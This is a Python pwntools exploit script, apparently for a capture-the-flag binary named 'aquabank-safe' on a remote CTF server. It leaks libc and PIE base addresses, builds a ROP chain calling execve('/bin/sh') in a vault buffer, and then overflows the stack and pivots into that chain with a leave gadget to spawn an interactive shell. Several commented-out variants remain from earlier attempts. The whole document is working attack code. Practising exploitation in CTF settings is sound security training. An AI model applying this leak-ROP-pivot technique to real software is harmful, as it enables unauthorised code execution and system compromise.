#!/usr/bin/env python3 from pwn import * exe = ELF("./aquabank-safe_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.39.so") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.GDB: gdb.attach(r) else: r = remote("offsec.m0lecon.it", 13502) return r def main(): p = conn() # Stage 1 take the libc base address and PIE base address print(p.recvuntil(b"> ")) p.sendline(b"1") printf = int(p.recvline().split(b"@")[1].strip(), 16) diagnostics = int(p.recvline().split(b"@")[1].strip(), 16) libc.address = printf - libc.symbols["printf"] base_pie = diagnostics - exe.symbols["diagnostics"] print(hex(libc.address)) print(hex(base_pie)) # # Save ropchain in the buffer print(p.recvuntil(b"> ")) p.sendline(b"2") print(p.recvuntil(b"[deposit] Vault deposit size (bytes): ")) # p.interactive() p.sendline(b"16000") # p.send(b"\n") print(p.recvline()) BINSH = next(libc.search(b"/bin/sh\x00")) ret = base_pie + 0x000000000000101A pop_rdi = libc.address + 0x000000000010F78B pop_rsi = libc.address + 0x0000000000110A7D pop_rax = libc.address + 0x00000000000DD237 xchg_edx_eax = libc.address + 0x000000000011EA8A ret_libc = libc.address + 0x000000000002882F rop_chain = flat( # p64(ret), # b"A" * 16, b"A" * 8, # p64(0x0), p64(ret_libc), p64(pop_rax), p64(0), p64(pop_rdi), BINSH, p64(pop_rsi), p64(0), p64(xchg_edx_eax), # p64(base_pie + exe.symbols["menu"]), # b"A" * 128, p64(ret_libc), p64(libc.symbols["execve"]), # p64(libc.symbols["puts"]), ) p.sendline(rop_chain) # # BOF and return to vault print(p.recvuntil(b"> ")) p.sendline(b"3") print(p.recvline()) # Move the stack point to vault where the ROP Chain is. # pop_rsp = base_pie + 0x000000000003C068 # leave -> mov rsp, rbp pop rbp ( so we set target - 8 bytes) # leave = libc.address + 0x00000000000299D2 leave = base_pie + 0x0000000000001385 pop_rsp = libc.address + 0x000000000003C068 print(f"Vault addr:{hex(base_pie + exe.symbols['vault'])}") payload = flat( b"A" * 8, # p64(leave), # p64(base_pie + exe.symbols["vault"]), # p64(leave), # p64(ret), # p64(pop_rsp), # b"B" * 8, p64(base_pie + exe.symbols["vault"]), # p64(base_pie + exe.symbols["vault"]), p64(leave), ) print(f"Payload len:{len(payload)}") context.terminal = ["alacritty", "-e", "sh", "-c"] # gdb.attach(p) # pause() p.sendline(payload) # p.send(b"\n") # We switch to the read function in deposit """final_p = flat( b"A" * 0x4000, p64(ret), p64(pop_rdi), BINSH, p64(ret), p64( libc.symbols["system"], ), )""" # p.send(final_p) # print(p.recvuntil(b"[safe] Enter the 24-byte combination:\n")) # print(p.recvline()) # p.interactive() # good luck pwning :) p.interactive() if __name__ == "__main__": main()